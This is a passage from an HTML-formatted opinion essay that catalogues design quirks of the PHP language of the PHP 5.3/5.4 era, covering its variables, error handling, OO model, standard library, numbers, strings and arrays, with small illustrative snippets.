  <li><code>foo()[0]</code> is a syntax error.  (Fixed in PHP 5.4.)</li>
  <li>
    <p>Unlike (literally!) every other language with a similar operator, <code>?:</code> is <em>left</em> associative.  So this:</p>

    <pre><code>  $arg = 'T';
  $vehicle = ( ( $arg == 'B' ) ? 'bus' :
               ( $arg == 'A' ) ? 'airplane' :
               ( $arg == 'T' ) ? 'train' :
               ( $arg == 'C' ) ? 'car' :
               ( $arg == 'H' ) ? 'horse' :
               'feet' );
  echo $vehicle;
</code></pre>

    <p>prints <code>horse</code>.</p>
  </li>
</ul>

<h4 id="variables">Variables</h4>

<ul>
  <li>There is no way to declare a variable.  Variables that don’t exist are created with a null value when first used.</li>
  <li>Global variables need a <code>global</code> declaration before they can be used.  This is a natural consequence of the above, so it would be perfectly reasonable, except that globals can’t even be <em>read</em> without an explicit declaration—PHP will quietly create a local with the same name, instead.  I’m not aware of another language with similar scoping issues.</li>
  <li>There are no references.  What PHP calls references are really aliases; there’s nothing that’s a step back, like Perl’s references, and there’s no pass-by-object identity like in Python.</li>
  <li>“Referenceness” infects a variable unlike anything else in the language.  PHP is dynamically-typed, so variables generally have no type…  except references, which adorn function definitions, variable syntax, and assignment.  Once a variable is made a reference (which can happen anywhere), it’s stuck as a reference.  There’s no obvious way to detect this and un-referencing requires nuking the variable entirely.</li>
  <li>Okay, I lied.  There are “<a href="http://www.php.net/manual/en/book.spl-types.php">SPL types</a>” which also infect variables: <code>$x = new SplBool(true); $x = "foo";</code> will fail.  This is like static typing, you see.</li>
  <li>A reference can be taken to a key that doesn’t exist within an undefined variable (which becomes an array).  Using a non-existent array normally issues a notice, but this does not.</li>
  <li>Constants are defined by a function call taking a string; before that, they don’t exist.  (This may actually be a copy of Perl’s <code>use constant</code> behavior.)</li>
  <li>Variable names are case-sensitive.  Function and class names are not.  This includes method names, which makes camelCase a strange choice for naming.</li>
</ul>

<h4 id="constructs">Constructs</h4>

<ul>
  <li><code>array()</code> and a few dozen similar constructs are not functions.  <code>array</code> on its own means nothing, <code>$func = "array"; $func();</code> doesn’t work.</li>
  <li>Array unpacking can be done with the <code>list($a, $b) = ...</code> operation.  <code>list()</code> is function-like syntax just like <code>array</code>.  I don’t know why this wasn’t given real dedicated syntax, or why the name is so obviously confusing.</li>
  <li><code>(int)</code> is obviously designed to look like C, but it’s a single token; there’s nothing called <code>int</code> in the language.  Try it: not only does <code>var_dump(int)</code> not work, it throws a parse error because the argument looks like the cast operator.</li>
  <li><code>(integer)</code> is a synonym for <code>(int)</code>.  There’s also <code>(bool)</code>/<code>(boolean)</code> and <code>(float)</code>/<code>(double)</code>/<code>(real)</code>.</li>
  <li>There’s an <code>(array)</code> operator for casting to array and an <code>(object)</code> for casting to object.  That sounds nuts, but there’s almost a use: you can use <code>(array)</code> to have a function argument that’s either a single item or a list, and treat it identically.  Except you can’t do that reliably, because if someone passes a single <em>object</em>, casting it to an array will actually produce an array containing that object’s attributes.  (Casting to object performs the reverse operation.)</li>
  <li><code>include()</code> and friends are basically C’s <code>#include</code>: they dump another source file into yours.  There is no module system, even for PHP code.</li>
  <li>There’s no such thing as a nested or locally-scoped function or class.  They’re only global.  Including a file dumps its variables into the current function’s scope (and gives the file access to your variables), but dumps functions and classes into global scope.</li>
  <li>Appending to an array is done with <code>$foo[] = $bar</code>.</li>
  <li><code>echo</code> is a statement-y kind of thing, not a function.</li>
  <li><code>empty($var)</code> is so extremely not-a-function that anything but a variable, e.g. <code>empty($var || $var2)</code>, is a parse error.  Why on Earth does the parser need to know about <a href="http://phpsadness.com/sad/28"><code>empty</code></a>?</li>
  <li>There’s redundant syntax for blocks: <code>if (...): ... endif;</code>, etc.</li>
</ul>

<h4 id="error-handling">Error handling</h4>

<ul>
  <li>PHP’s one unique operator is <code>@</code> (actually borrowed from DOS), which <em>silences</em> errors.</li>
  <li>PHP errors don’t provide stack traces.  You have to install a handler to generate them.  (But you can’t for fatal errors—see below.)</li>
  <li>PHP parse errors generally just spew the parse state and nothing more, making a forgotten quote <a href="http://phpsadness.com/sad/44">terrible to debug</a>.</li>
  <li>PHP’s parser refers to e.g. <code>::</code> internally as <code>T_PAAMAYIM_NEKUDOTAYIM</code>, and the <code>&lt;&lt;</code> operator as <code>T_SL</code>.  I say “internally”, but as above, this is what’s shown to the programmer when <code>::</code> or <code>&lt;&lt;</code> appears in the wrong place.</li>
  <li>Most error handling is in the form of printing a line to a server log nobody reads and carrying on.</li>
  <li><code>E_STRICT</code> is a thing, but it doesn’t seem to actually prevent much and there’s no documentation on what it actually does.</li>
  <li><code>E_ALL</code> includes all error categories—except <code>E_STRICT</code>.  (Fixed in 5.4.)</li>
  <li>
    <p>Weirdly inconsistent about what’s allowed and what isn’t.  I don’t know how <code>E_STRICT</code> applies here, but these things are okay:</p>

    <ul>
      <li>Trying to access a non-existent object property, i.e., <code>$foo-&gt;x</code>.  (warning)</li>
      <li>Using a variable as a function name, or variable name, or class name.  (silent)</li>
      <li>Trying to use an undefined constant.  (notice)</li>
      <li>Trying to access a property of something that isn’t an object.  (notice)</li>
      <li>Trying to use a variable name that doesn’t exist.  (notice)</li>
      <li><code>2 &lt; "foo"</code>  (silent)</li>
      <li><code>foreach (2 as $foo);</code>  (warning)</li>
    </ul>

    <p>And these things are not:</p>

    <ul>
      <li>Trying to access a non-existent class constant, i.e., <code>$foo::x</code>.  (fatal error)</li>
      <li>Using a constant string as a function name, or variable name, or class name.  (parse error)</li>
      <li>Trying to call an undefined function.  (fatal error)</li>
      <li>Leaving off a semicolon on the last statement in a block or file.  (parse error)</li>
      <li>Using <code>list</code> and various other quasi-builtins as method names.  (parse error)</li>
      <li>Subscripting the return value of a function, i.e., <code>foo()[0]</code>.  (parse error; okay in 5.4, see above)</li>
    </ul>

    <p>There are a good few examples of other weird parse errors elsewhere in this list.</p>
  </li>
  <li>The <code>__toString</code> method can’t throw exceptions.  If you try, PHP will…  er, throw an exception.  (Actually a fatal error, which would be passable, except…)</li>
  <li>PHP errors and PHP exceptions are completely different beasts.  They don’t seem to interact <em>at all</em>.
    <ul>
      <li>PHP errors (internal ones, and calls to <code>trigger_error</code>) cannot be caught with <code>try</code>/<code>catch</code>.</li>
      <li>Likewise, exceptions do not trigger error handlers installed by <code>set_error_handler</code>.</li>
      <li>Instead, there’s a separate <code>set_exception_handler</code> which handles uncaught exceptions, because wrapping your program’s entry point in a <code>try</code> block is impossible in the <code>mod_php</code> model.</li>
      <li>Fatal errors (e.g., <code>new ClassDoesntExist()</code>) can’t be caught by anything.  A <em>lot</em> of fairly innocuous things throw fatal errors, forcibly ending your program for questionable reasons.  Shutdown functions still run, but they can’t get a stack trace (they run at top-level), and they can’t easily tell if the program exited due to an error or running to completion.</li>
    </ul>
  </li>
  <li>There is no <code>finally</code> construct, making wrapper code (set handler, run code, unset handler; monkeypatch, run a test, unmonkeypatch) tedious and difficult to write.  Despite that OO and exceptions were largely copied from Java, this <a href="https://bugs.php.net/bug.php?id=32100">is deliberate</a>, because <code>finally</code> “doesn’t make much sense in the context of PHP”.  Huh?</li>
</ul>

<h4 id="functions">Functions</h4>

<ul>
  <li>Function calls are apparently rather <a href="http://www.phpwtf.org/php-function-calls-have-quite-some-overhead">expensive</a>.</li>
  <li>Some built-in functions interact with reference-returning functions in, er, <a href="http://www.phpwtf.org/php-function-calls-returning-references">a strange way</a>.</li>
  <li>As mentioned elsewhere, a lot of things that look like functions or look like they <em>should</em> be functions are actually language constructs, so nothing that works with functions will work with them.</li>
  <li>
    <p>Function arguments can have “type hints”, which are basically just static typing.  But you can’t require that an argument be an <code>int</code> or <code>string</code> or <code>object</code> or other “core” type, even though every builtin function uses this kind of typing, probably because <code>int</code> is not a thing in PHP.  (See above about <code>(int)</code>.)  You also can’t use the special <a href="http://www.php.net/manual/en/language.pseudo-types.php#language.types.mixed">pseudo-type decorations</a> used heavily by builtin functions: <code>mixed</code>, <code>number</code>, or <code>callback</code>.  (<code>callable</code> is allowed as of PHP 5.4.)</p>

    <ul>
      <li>
        <p>As a result, this:</p>

        <pre><code>  function foo(string $s) {}

  foo("hello world");
</code></pre>

        <p>produces the error:</p>

        <pre><code>  PHP Catchable fatal error:  Argument 1 passed to foo() must be an instance of string, string given, called in...
</code></pre>
      </li>
      <li>You may notice that the “type hint” given doesn’t actually have to exist; there is no <code>string</code> class in this program.  If you try to use <code>ReflectionParameter::getClass()</code> to examine the type hint dynamically, <em>then</em> it will balk that the class doesn’t exist, making it impossible to actually retrieve the class name.</li>
      <li>A function’s return value can’t be hinted.</li>
    </ul>
  </li>
  <li>Passing the current function’s arguments to another function (dispatch, not uncommon) is done by <code>call_user_func_array('other_function', func_get_args())</code>.  But <code>func_get_args</code> throws a fatal error at runtime, complaining that it can’t be a function parameter.  How and why is this even a <em>type</em> of error?  (Fixed in PHP 5.3.)</li>
  <li>Closures require explicitly naming every variable to be closed-over.  Why can’t the interpreter figure this out?  Kind of hamstrings the whole feature.  (Okay, it’s because using a variable ever, at all, creates it unless explicitly told otherwise.)</li>
  <li>Closed-over variables are “passed” by the same semantics as other function arguments.  That is, arrays and strings etc. will be “passed” to the closure by value.  Unless you use <code>&amp;</code>.</li>
  <li>Because closed-over variables are effectively automatically-passed arguments and there are no nested scopes, a closure can’t refer to private methods, even if it’s defined inside a class.  (Possibly fixed in 5.4?  Unclear.)</li>
  <li>No named arguments to functions.  Actually <a href="http://www.php.net/~derick/meeting-notes.html#named-parameters">explicitly rejected</a> by the devs because it “makes for messier code”.</li>
  <li>Function arguments with defaults can appear before function arguments without, even though the documentation points out that this is both weird and useless.  (So why allow it?)</li>
  <li>Extra arguments to a function are ignored (except with builtin functions, which raise an error).  Missing arguments are assumed null.</li>
  <li>“Variadic” functions require faffing about with <code>func_num_args</code>, <code>func_get_arg</code>, and <code>func_get_args</code>.  There’s no syntax for such a thing.</li>
</ul>

<h4 id="oo">OO</h4>

<ul>
  <li>The procedural parts of PHP are designed like C, but the objectional (ho ho) parts are designed like Java.  I cannot overemphasize how jarring this is.  The class system is designed around the <em>lower-level</em> Java language which is naturally and deliberately <em>more limited</em> than PHP’s contemporaries, and I am baffled.
    <ul>
      <li>I’ve yet to find a global function that even has a capital letter in its name, yet <a href="http://www.php.net/manual/en/class.reflectionfunction.php">important built-in classes</a> use camelCase method names and have <code>getFoo</code> Java-style accessors.</li>
      <li>Perl, Python, and Ruby all have some concept of “property” access via code; PHP has only the clunky <code>__get</code> and friends.  (The documentation inexplicably refers to such special methods as “overloading”.)</li>
      <li>Classes have something like variable declaration (<code>var</code> and <code>const</code>) for class attributes, whereas the procedural part of the language does not.</li>
      <li>Despite the heavy influence from C++/Java, where objects are fairly opaque, PHP often treats objects like fancy hashes—for example, the default behavior of <code>foreach ($obj as $key =&gt; $value)</code> is to iterate over every accessible attribute of the object.</li>
    </ul>
  </li>
  <li>Classes are not objects.  Any metaprogramming has to refer to them by string name, just like functions.</li>
  <li>Built-in types are not objects and (unlike Perl) can in no way be made to look like objects.</li>
  <li><code>instanceof</code> is an operator, despite that classes were a late addition and most of the language is built on functions and function-ish syntax.  Java influence?  Classes not first-class?  (I don’t know if they are.)
    <ul>
      <li>But there <em>is</em> an <code>is_a</code> function.  With an optional argument specifying whether to allow the object to actually be a string naming a class.</li>
      <li><code>get_class</code> is a function; there’s no <code>typeof</code> operator.  Likewise <code>is_subclass_of</code>.</li>
      <li>This doesn’t work on builtin types, though (again, <code>int</code> is not a thing).  For that, you need <code>is_int</code> etc.</li>
      <li>Also the right-hand side has to be a variable or literal string; it can’t be an expression.  That causes…  a parse error.</li>
    </ul>
  </li>
  <li><code>clone</code> is an operator?!</li>
  <li>Object attributes are <code>$obj-&gt;foo</code>, but class attributes are <code>Class::$foo</code>.  (<code>$obj::$foo</code> will try to stringify <code>$obj</code> and use it as a class name.)  Class attributes can’t be accessed via objects; the namespaces are completely separate, making class attributes completely useless for polymorphism.  Class <em>methods</em>, of course, are exempt from this rule and can be called like any other method.  (I am told C++ also does this.  C++ is not a good example of fine OO.)</li>
  <li>Also, an instance method can still be called statically (<code>Class::method()</code>).  If done so from another method, this is treated like a regular method call on the current <code>$this</code>.  I think.</li>
  <li><code>new</code>, <code>private</code>, <code>public</code>, <code>protected</code>, <code>static</code>, etc.  Trying to win over Java developers?  I’m aware this is more personal taste, but I don’t know why this stuff is necessary in a dynamic language—in C++ most of it’s about compilation and compile-time name resolution.</li>
  <li>PHP has first-class support for “abstract classes”, which are classes that cannot be instantiated.  Code in similar languages achieves this by throwing an exception in the constructor.</li>
  <li>Subclasses cannot override private methods.  Subclass overrides of public methods can’t even <em>see</em>, let alone call, the superclass’s private methods.  Problematic for, say, test mocks.</li>
  <li>Methods cannot be named e.g. “list”, because <code>list()</code> is special syntax (not a function) and the parser gets confused.  There’s no reason this should be ambiguous, and monkeypatching the class works fine.  (<code>$foo-&gt;list()</code> is not a syntax error.)</li>
  <li>If an exception is thrown while evaluating a constructor’s arguments (e.g., <code>new Foo(bar())</code> and <code>bar()</code> throws), the constructor won’t be called, but the <em>destructor</em> will be.  (This is fixed in PHP 5.3.)</li>
  <li>Exceptions in <code>__autoload</code> and destructors cause fatal errors.  (Fixed in PHP 5.3.6.  So now a destructor might throw an exception literally anywhere, since it’s called the moment the refcount drops the zero.  Hmm.)</li>
  <li>There are no constructors or destructors.  <code>__construct</code> is an initializer, like Python’s <code>__init__</code>.  There is no method you can call on a class to allocate memory and create an object.</li>
  <li>There is no default initializer.  Calling <code>parent::__construct()</code> if the superclass doesn’t define its own <code>__construct</code> is a fatal error.</li>
  <li>OO brings with it an iterator interface that parts of the language (e.g., <code>for...as</code>) respect, but nothing built-in (like arrays) actually implements the interface.  If you want an array iterator, you have to wrap it in an <code>ArrayIterator</code>.  There are no built-in ways to chain or slice or otherwise work with iterators as first-class objects.</li>
  <li>Interfaces like <code>Iterator</code> reserve a good few unprefixed method names.  If you want your class to be iterable (without the default behavior of iterating all of its attributes), but want to use a common method name like <code>key</code> or <code>next</code> or <code>current</code>, well, too bad.</li>
  <li>Classes can overload how they convert to strings and how they act when called, but not how they convert to numbers or any other builtin type.</li>
  <li>Strings, numbers, and arrays all have a string conversion; the language relies heavily on this.  Functions and classes <em>are</em> strings.  Yet trying to convert a built-in or user-defined object (even a Closure) to a string causes an error if it doesn’t define <code>__toString</code>.  Even <code>echo</code> becomes potentially error-prone.</li>
  <li>There is no overloading for equality or ordering.</li>
  <li>Static variables inside instance methods are global; they share the same value across all instances of the class.</li>
</ul>

<h3 id="standard-library">Standard library</h3>

<p>Perl is “some assembly required”.  Python is “batteries included”.  PHP is “kitchen sink, but it’s from Canada and <a href="http://mcguirehimself.com/?p=4146">both faucets are labeled C</a>”.</p>

<h4 id="general">General</h4>

<ul>
  <li>There is no module system.  You can compile PHP extensions, but which ones are loaded is specified by php.ini, and your options are for an extension to exist (and inject its contents into your global namespace) or not.</li>
  <li>As namespaces are a recent feature, the standard library isn’t broken up at all.  There are thousands of functions in the global namespace.</li>
  <li>Chunks of the library are wildly inconsistent from one another.
    <ul>
      <li>Underscore versus not: <code>strpos</code>/<code>str_rot13</code>, <code>php_uname</code>/<code>phpversion</code>, <code>base64_encode</code>/<code>urlencode</code>, <code>gettype</code>/<code>get_class</code></li>
      <li>“to” versus 2: <code>ascii2ebcdic</code>, <code>bin2hex</code>, <code>deg2rad</code>, <code>strtolower</code>, <code>strtotime</code></li>
      <li>Object+verb versus verb+object: <code>base64_decode</code>, <code>str_shuffle</code>, <code>var_dump</code> versus <code>create_function</code>, <code>recode_string</code></li>
      <li>Argument order: <code>array_filter($input, $callback)</code> versus <code>array_map($callback, $input)</code>, <code>strpos($haystack, $needle)</code> versus <code>array_search($needle, $haystack)</code></li>
      <li>Prefix confusion: <code>usleep</code> versus <code>microtime</code></li>
      <li>Case insensitive functions vary on where the <code>i</code> goes in the name.</li>
      <li>About half the array functions actually start with <code>array_</code>.  The others do not.</li>
      <li><code>htmlentities</code> and <code>html_entity_decode</code> are <em>inverses</em> of each other, with completely different naming conventions.</li>
    </ul>
  </li>
  <li>Kitchen sink.  The libary includes:
    <ul>
      <li>Bindings to ImageMagick, bindings to GraphicsMagick (which is a fork of ImageMagick), and a handful of functions for inspecting EXIF data (which ImageMagick can already do).</li>
      <li>Functions for parsing bbcode, a very specific kind of markup used by a handful of particular forum packages.</li>
      <li>Way too many XML packages.  <code>DOM</code> (OO), <code>DOM XML</code> (not), <code>libxml</code>, <code>SimpleXML</code>, “XML Parser”, <code>XMLReader</code>/<code>XMLWriter</code>, and half a dozen more acronyms I can’t identify.  There’s surely some kind of difference between these things and you are free to go figure out what that is.</li>
      <li>Bindings for two particular credit card processors, SPPLUS and MCVE.  What?</li>
      <li>Three ways to access a MySQL database: <code>mysql</code>, <code>mysqli</code>, and the <code>PDO</code> abstraction thing.</li>
    </ul>
  </li>
</ul>

<h4 id="c-influence">C influence</h4>

<p>This deserves its own bullet point, because it’s so absurd yet permeates the language.  PHP is a high-level, dynamically-typed programming language.  Yet a massive portion of the standard library is still very thin wrappers around C APIs, with the following results:</p>

<ul>
  <li>“Out” parameters, even though PHP can return ad-hoc hashes or multiple arguments with little effort.</li>
  <li>At least a dozen functions for getting the last error from a particular subsystem (see below), even though PHP has had exceptions for eight years.</li>
  <li>Warts like <code>mysql_real_escape_string</code>, even though it has the same arguments as the broken <code>mysql_escape_string</code>, just because it’s part of the MySQL C API.</li>
  <li>Global behavior for non-global functionality (like MySQL).  Using multiple MySQL connections apparently requires passing a connection handle on every function call.</li>
  <li>The wrappers are really, really, really thin.  For example, calling <code>dba_nextkey</code> without calling <code>dba_firstkey</code> will segfault.</li>
  <li>There’s a set of <code>ctype_*</code> functions (e.g. <code>ctype_alnum</code>) that map to the C character-class detection functions of similar names, rather than, say, <code>isupper</code>.</li>
</ul>

<h4 id="genericism">Genericism</h4>

<p>There is none.  If a function might need to do two slightly different things, PHP just has two functions.</p>

<p>How do you sort backwards?  In Perl, you might do <code>sort { $b &lt;=&gt; $a }</code>.  In Python, you might do <code>.sort(reverse=True)</code>.  In PHP, there’s a separate function called <code>rsort()</code>.</p>

<ul>
  <li>Functions that look up a C error: <code>curl_error</code>, <code>json_last_error</code>, <code>openssl_error_string</code>, <code>imap_errors</code>, <code>mysql_error</code>, <code>xml_get_error_code</code>, <code>bzerror</code>, <code>date_get_last_errors</code>, others?</li>
  <li>Functions that sort: <code>array_multisort</code>, <code>arsort</code>, <code>asort</code>, <code>ksort</code>, <code>krsort</code>, <code>natsort</code>, <code>natcasesort</code>, <code>sort</code>, <code>rsort</code>, <code>uasort</code>, <code>uksort</code>, <code>usort</code></li>
  <li>Functions that find text: <code>ereg</code>, <code>eregi</code>, <code>mb_ereg</code>, <code>mb_eregi</code>, <code>preg_match</code>, <code>strstr</code>, <code>strchr</code>, <code>stristr</code>, <code>strrchr</code>, <code>strpos</code>, <code>stripos</code>, <code>strrpos</code>, <code>strripos</code>, <code>mb_strpos</code>, <code>mb_strrpos</code>, plus the variations that do replacements</li>
  <li>There are a lot of aliases as well, which certainly doesn’t help matters: <code>strstr</code>/<code>strchr</code>, <code>is_int</code>/<code>is_integer</code>/<code>is_long</code>, <code>is_float</code>/<code>is_double</code>, <code>pos</code>/<code>current</code>, <code>sizeof</code>/<code>count</code>, <code>chop</code>/<code>rtrim</code>, <code>implode</code>/<code>join</code>, <code>die</code>/<code>exit</code>, <code>trigger_error</code>/<code>user_error</code>, <code>diskfreespace</code>/<code>disk_free_space</code>…</li>
  <li><code>scandir</code> returns a list of files within a given directory.  Rather than (potentially usefully) return them in directory order, the function returns the files already sorted.  And there’s an optional argument to get them in <em>reverse</em> alphabetical order.  There were not, apparently, enough sort functions.  (PHP 5.4 adds a third value for the sort-direction argument that will disable sorting.)</li>
  <li><code>str_split</code> breaks a string into chunks of equal length.  <code>chunk_split</code> breaks a string into chunks of equal length, then joins them together with a delimiter.</li>
  <li>Reading archives requires a separate set of functions depending on the format.  There are six separate groups of such functions, all with different APIs, for bzip2, LZF, phar, rar, zip, and gzip/zlib.</li>
  <li>Because calling a function with an array as its arguments is so awkward (<code>call_user_func_array</code>), there are some pairings like <code>printf</code>/<code>vprintf</code> and <code>sprintf</code>/<code>vsprintf</code>.  These do the same things, but one function takes arguments and the other takes an array of arguments.</li>
</ul>

<h4 id="text">Text</h4>

<ul>
  <li><code>preg_replace</code> with the <code>/e</code> (eval) flag will do a string replace of the matches into the replacement string, <em>then eval it</em>.</li>
  <li><code>strtok</code> is apparently designed after the equivalent C function, which is already a bad idea for various reasons.  Nevermind that PHP can easily return an array (whereas this is awkward in C), or that the very hack <code>strtok(3)</code> uses (modifying the string in-place) isn’t used here.</li>
  <li><code>parse_str</code> parses a <em>query</em> string, with no indication of this in the name.  Also it acts just like <code>register_globals</code> and dumps the query into your local scope as variables, unless you pass it an array to populate.  (It returns nothing, of course.)</li>
  <li><code>explode</code> refuses to split with an empty/missing delimiter.  Every other string split implementation anywhere does some useful default in this case; PHP instead has a totally separate function, confusingly called <code>str_split</code> and described as “converting a string to an array”.</li>
  <li>For formatting dates, there’s <code>strftime</code>, which acts like the C API and respects locale.  There’s also <code>date</code>, which has a completely different syntax and only works with English.</li>
  <li>”<a href="http://php.net/manual/en/function.gzgetss.php"><code>gzgetss</code></a> — Get line from gz-file pointer and strip HTML tags.”  I’m dying to know the series of circumstances that led to this function’s conception.</li>
  <li><code>mbstring</code>
    <ul>
      <li>It’s all about “multi-byte”, when the problem is character sets.</li>
      <li>Still operates on regular strings.  Has a single global “default” character set.  Some functions allow specifying charset, but then it applies to all arguments and the return value.</li>
      <li>Provides <code>ereg_*</code> functions, but those are deprecated.  <code>preg_*</code> are out of luck, though they can understand UTF-8 by feeding them some PCRE-specific flag.</li>
    </ul>
  </li>
</ul>

<h4 id="system-and-reflection">System and reflection</h4>

<ul>
  <li>There are, in general, a whole lot of functions that blur the line between text and variables.  <code>compact</code> and <code>extract</code> are just the tip of the iceberg.</li>
  <li>There are several ways to actually be dynamic in PHP, and at a glance there are no obvious differences or relative benefits.  <code>classkit</code> can modify user-defined classes; <code>runkit</code> supersedes it and can modify user-defined anything; the <code>Reflection*</code> classes can reflect on most parts of the language; there are a great many individual functions for reporting properties of functions and classes.  Are these subsystems independent, related, redundant?</li>
  <li><code>get_class($obj)</code> returns the object’s class name.  <code>get_class()</code> returns the name of the class the function is being called in.  Setting aside that this one function does two radically different things: <code>get_class(null)</code>…  acts like the latter.  So you can’t trust it on an arbitrary value.  Surprise!</li>
  <li>The <code>stream_*</code> classes allow for implementing custom stream objects for use with <code>fopen</code> and other fileish builtins.  “tell” cannot be implemented for <a href="https://bugs.php.net/bug.php?id=30157">internal reasons</a>.  (Also there are <a href="http://www.php.net/manual/en/book.stream.php">A LOT</a> of functions involved with this system.)</li>
  <li><code>register_tick_function</code> will accept a closure object.  <code>unregister_tick_function</code> will not; instead it throws an error complaining that the closure couldn’t be converted to a string.</li>
  <li><code>php_uname</code> tells you about the current OS.  Unless PHP can’t tell what it’s running on; then it tells you about the OS it was <em>built</em> on.  It doesn’t tell you if this has happened.</li>
  <li><code>fork</code> and <code>exec</code> are not built in.  They come with the pcntl extension, but that isn’t included by default.  <code>popen</code> doesn’t provide a pid.</li>
  <li><code>stat</code>’s return value is cached.</li>
  <li><code>session_decode</code> is for reading an arbitrary PHP session string, but it only works if there’s an active session already.  And it dumps the result into <code>$_SESSION</code>, rather than returning it.</li>
</ul>

<h4 id="miscellany">Miscellany</h4>

<ul>
  <li><code>curl_multi_exec</code> doesn’t change <code>curl_errno</code> on error, but it does change <code>curl_error</code>.</li>
  <li><code>mktime</code>’s arguments are, in order: hour, minute, second, month, day, year.</li>
</ul>

<h3 id="data-manipulation">Data manipulation</h3>

<p>Programs are nothing more than big machines that chew up data and spit out more data.  A great many languages are designed <em>around</em> the kinds of data they manipulate, from awk to Prolog to C.  If a language can’t handle data, it can’t do anything.</p>

<h4 id="numbers">Numbers</h4>

<ul>
  <li>Integers are signed and 32-bit on 32-bit platforms.  Unlike all of PHP’s contemporaries, there is no automatic bigint promotion.  So you can end up with surprises like negative file sizes, and your math might work differently based on <em>CPU architecture</em>.  Your only option for larger integers is to use the GMP or BC wrapper functions.  (The developers have proposed <a href="http://www.php.net/~derick/meeting-notes.html#add-a-64bit-integer">adding a new, separate, 64-bit type</a>.  This is crazy.)</li>
  <li>PHP supports octal syntax with a leading <code>0</code>, so e.g. <code>012</code> will be the number ten.  However, <code>08</code> becomes the number zero.  The <code>8</code> (or <code>9</code>) and any following digits disappear.  <code>01c</code> is a syntax error.</li>
  <li><code>0x0+2</code> produces 4.  The parser considers the <code>2</code> as both part of the hex literal <em>and</em> a separate decimal literal, treating this as <code>0x002 + 2</code>.  <code>0x0+0x2</code> displays the same problem.  Strangely, <code>0x0 +2</code> is still 4, but <code>0x0+ 2</code> is correctly 2.  (This is fixed in PHP 5.4.  But it’s also re-broken in PHP 5.4, with the new <code>0b</code> literal prefix: <code>0b0+1</code> produces 2.)</li>
  <li><code>pi</code> is a function.  Or there’s a constant, <code>M_PI</code>.</li>
  <li>There is <a href="https://bugs.php.net/bug.php?id=13756">no exponentiation operator</a>, only the <code>pow</code> function.</li>
</ul>

<h4 id="text-1">Text</h4>

<ul>
  <li>No Unicode support.  Only ASCII will work reliably, really.  There’s the <code>mbstring</code> extension, mentioned above, but it kinda blows.</li>
  <li>Which means that using the builtin string functions on UTF-8 text risks corrupting it.</li>
  <li>Similarly, there’s no concept of e.g. case comparisons outside of ASCII.  Despite the proliferation of case-insensitive versions of functions, not one of them will consider <code>é</code> equal to <code>É</code>.</li>
  <li>You can’t quote keys in variable interpolation, i.e., <code>"$foo['key']"</code> is a syntax error.  You can unquote it (which <em>would</em> generate a warning anywhere else!), or use <code>${...}</code>/<code>{$...}</code>.</li>
  <li><code>"${foo[0]}"</code> is okay.  <code>"${foo[0][0]}"</code> is a syntax error.  Putting the <code>$</code> on the inside is fine with both.  Bad copy of similar Perl syntax (with radically different semantics)?</li>
</ul>

<h4 id="arrays">Arrays</h4>

<p>Oh, man.</p>

<ul>
  <li>This one datatype acts as a list, ordered hash, ordered set, sparse list, and occasionally some strange combination of those.  How does it perform?  What kind of memory use will there be?  Who knows?  Not like I have other options, anyway.</li>
  <li><code>=&gt;</code> isn’t an operator.  It’s a special construct that only exists inside <code>array(...)</code> and the <code>foreach</code> construct.</li>
  <li>Negative indexing doesn’t work, since <code>-1</code> is just as valid a key as <code>0</code>.</li>
  <li>Despite that this is the language’s only data structure, there is no shortcut syntax for it; <code>array(...)</code> <em>is</em> shortcut syntax.  (PHP 5.4 is bringing “literals”, <code>[...]</code>.)</li>
  <li>The <code>=&gt;</code> construct is based on Perl, which allows <code>foo =&gt; 1</code> without quoting.  (That is, in fact, why it exists in Perl; otherwise it’s just a comma.)  In PHP, you can’t do this without getting a warning; it’s the only language in its niche that has no vetted way to create a hash without quoting string keys.</li>
  <li>
    <p>Array functions often have confusing or inconsistent behavior because they have to operate on lists, hashes, or maybe a combination of the two.  Consider <code>array_diff</code>, which “computers the difference of arrays”.</p>

    <pre><code>  $first  = array("foo" =&gt; 123, "bar" =&gt; 456);
  $second = array("foo" =&gt; 456, "bar" =&gt; 123);
  echo var_dump(array_diff($first, $second));
</code></pre>

    <p>What will this code do?  If <code>array_diff</code> treats its arguments as hashes, then obviously these are different; the same keys have different values.  If it treats them as lists, then they’re still different; the values are in the wrong order.</p>

    <p>In fact <code>array_diff</code> considers these equal, because it treats them like <em>sets</em>: it compares only values, and ignores order.</p>
  </li>
  <li>In a similar vein, <code>array_rand</code> has the strange behavior of selecting random <em>keys</em>, which is not that helpful for the most common case of needing to pick from a list of choices.</li>
  <li>
    <p>Despite how heavily PHP code relies on preserving key order:</p>

    <pre><code>  array("foo", "bar") != array("bar", "foo")
  array("foo" =&gt; 1, "bar" =&gt; 2) == array("bar" =&gt; 2, "foo" =&gt; 1)
</code></pre>

    <p>I leave it to the reader to figure out what happens if the arrays are mixed.  (I don’t know.)</p>
  </li>
  <li><code>array_fill</code> cannot create zero-length arrays; instead it will issue a warning and return false.</li>
  <li>All of the (many…) sort functions operate in-place and return nothing.  There is no way to create a new sorted copy; you have to copy the array yourself, then sort it, then use the array.</li>
  <li>But <code>array_reverse</code> returns a new array.</li>
  <li>A list of ordered things and some mapping of keys to values sounds kind of like a great way to handle function arguments, but no.</li>
</ul>

<h4 id="not-arrays">Not arrays</h4>

<ul>
  <li>The standard library includes “Quickhash”, an OO implementation of “specific strongly-typed classes” for implementing hashes.  And, indeed, there are four classes, each dealing with a different combination of key and value types.  It’s unclear why the builtin array implementation can’t optimize for these extremely common cases, or what the relative performance is.</li>
  <li>There’s an <code>ArrayObject</code> class (which implements <em>five</em> different interfaces) that can wrap an array and have it act like an object.  User classes can implement the same interfaces.  But it only has a handful of methods, half of which don’t resemble built-in array functions, and built-in array functions don’t know how to operate on an <code>ArrayObject</code> or other array-like class.</li>
</ul>

<h4 id="functions-1">Functions</h4>

<ul>
  <li>Functions are not data.  Closures are actually objects, but regular functions are not.  You can’t even refer to them with their bare names; <code>var_dump(strstr)</code> issues a warning and assumes you mean the literal string, <code>"strstr"</code>.  There is no way to discern between an arbitrary string and a function “reference”.</li>
  <li><code>create_function</code> is basically a wrapper around <code>eval</code>.  It creates a function with a regular name and installs it globally (so it will never be garbage collected—don’t use in a loop!).  It doesn’t actually know anything about the current scope, so it’s not a closure.  The name contains a NUL byte so it can never conflict with a regular function (because PHP’s parser fails if there’s a <code>NUL</code> in a file anywhere).</li>
